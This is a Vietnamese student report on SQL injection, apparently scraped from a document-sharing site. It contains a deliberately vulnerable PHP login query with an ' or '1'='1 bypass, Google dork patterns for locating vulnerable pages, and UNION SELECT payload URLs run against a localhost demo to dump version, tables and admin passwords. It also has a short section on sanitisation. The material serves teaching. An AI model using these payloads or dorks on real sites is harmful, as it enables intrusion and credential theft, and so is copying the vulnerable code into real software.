báo cáo tấn công sql injection

14 843 0
báo cáo tấn công sql injection

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

ĐẠI HỌC QUỐC GIA TP HCM ĐẠI HỌC CÔNG NGHỆ THÔNG TIN Tấn Công SQL Injection GV: Ths. Nguyễn Duy TP HCM 04/05/2015 Nội dung: I. Tìm về tấn công SQL Injection II. Mục đích tấn công III. Cơ chế tấn công IV. Phương thức tấn công V. Cách phòng chống VI. Demo VII. Tổng kết I. Tìm về tấn công SQL Injection: SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp. SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,… trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy, lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số truy vấn không mong muốn đối với cơ sở dữ liệu của ứng dụng. II. Mục đích tấn công: • Đánh cắp dữ liệu từ web server • Thay đổi dữ liệu • Deface website • Backdoor • III. Cơ chế tấn công: Cơ chế tấn công SQL injection – SQLI là cách thức tận dụng hoặc khai thác triệt để những khuyết điểm, thiếu sót về mặt công nghệ được sử dụng để xây dựng website, và thông thường hacker sẽ kết hợp với những lỗ hổng trong quy trình bảo mật cơ sở dữ liệu. Nếu thành công trong việc xâm nhập này, hacker hoàn toàn có thể mạo danh tài khoản chính thức của người sử dụng, truy cập vào cơ sở dữ liệu và lấy cắp thông tin cá nhân. Không giống như cách làm của DDoS, SQLI hoàn toàn có thể ngăn chặn được nếu người quản trị nhận thức được tầm quan trọng của việc bảo mật cơ sở dữ liệu. • Lợi dụng lỗ hổng trong việc kiểm tra thông tin đầu vào <form action="" method="post"> Tài khoản: <input type="text" name=“user"> Mật khẩu: <input type="password" name=“pass"> <input type="submit“ value=“Đăng nhập”> </form> <?php $user=$_POST[‘user’]; $pass=$_POST[‘pass’]; $sql=“SELECT * FROM tbl_user WHERE user=‘$user’ && pass=‘$pass’”; $query=mysql_query($sql); $sql=“SELECT * FROM tbl_user WHERE user=‘0’ or ‘1’=‘1’ ’ && pass=‘123456’”; • Thông báo lỗi của hệ quản trị CSDL – Mysql_fetch_array(); – Database query failed… – You have an error in your SQL systax… IV. Phương thức tấn công Các dork ( Từ khóa tìm site bị lỗi) index.php?id= news.php id= article.php?id= games.php?id= opinions.php?id= pages.php?id= prod_detail.php?id= view.php?id= …………. • Các bước tấn công sử dụng lệnh union select • Kiểm tra lỗi sql injection. • Tìm số cột mà câu truy vấn tạo ra. • Tìm cột chứa thông tin có thể khai thác được. • Xem phiên bản của CSDL và ngôn ngữ lập trình. • Xác định tên bảng chứa thông tin người quản trị. • Xác định tài khoản/mật khẩu của quản trị. • Truy cập vào phần giành cho quản trị viên. V. Cách phòng chống như chúng ta đã đề cập tới tại phần trên của bài viết, SQL Injection hoàn toàn có thể ngăn chặn được. Và 1 trong những quy tắt không thể bỏ qua là không nên tin tưởng tuyệt đối vào bất kỳ thông tin nào mà người sử dụng nhập vào (tương tự như tình huống chúng tôi mô phỏng bên trên). Và mô hình SQLI có thể dễ dàng bị ngăn chặn bởi 1 bước gọi là Sanitization – hiểu nôm na là việc chắt lọc thông tin đầu vào – input từ phía người dùng. Rất đơn giản, quy trình này sẽ xử lý bất kỳ ký tự ngoặc đơn nào xuất hiện trong câu lệnh truy vân SQL. Ví dụ cụ thể, nếu muốn tìm bản ghi “O’neil” trong cơ sở dữ liệu, thì không thể dùng phương pháp đã mô phỏng bên trên vì dấu ' đằng sau chữ O sẽ khiến cho cú pháp bị ngắt giữa chừng. Thay vào đó, chúng ta có thể tách biệt ký tự đặc biệt này khỏi cơ sở dữ liệu bằng dấu \. Và như vậy, bản ghi “O’neal” sẽ biến thành “O\’neil”. VI. Demo • Công cụ hỗ trợ – Add-on hackBar. – Web Admin Finder V2.0. – Google. Mục tiêu tấn công Tìm số cột mà câu truy vấn SQL tạo ra Xác định vị trí xảy ra lỗi http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 Xác định phiên bản ngôn ngữ lập trình http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15 [...]... http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))), 7,8,9,10,11,12,13,14,15 from tbl_user Password: thietkewebx.net Tìm đường dẫn trang quản trị Kết quả demo thành công ! . khoản: <input type="text" name=“user"> Mật khẩu: <input type="password" name=“pass"> <input type="submit“ value=“Đăng nhập”> </form>. your SQL systax… IV. Phương thức tấn công Các dork ( Từ khóa tìm site bị lỗi) index.php?id= news.php id= article.php?id= games.php?id= opinions.php?id= pages.php?id= prod_detail.php?id=. information_schema.columns where table_name=0x74626c5f75736572 Xác định thông tin username, password của Admin http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))),

Ngày đăng: 06/06/2015, 01:11

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan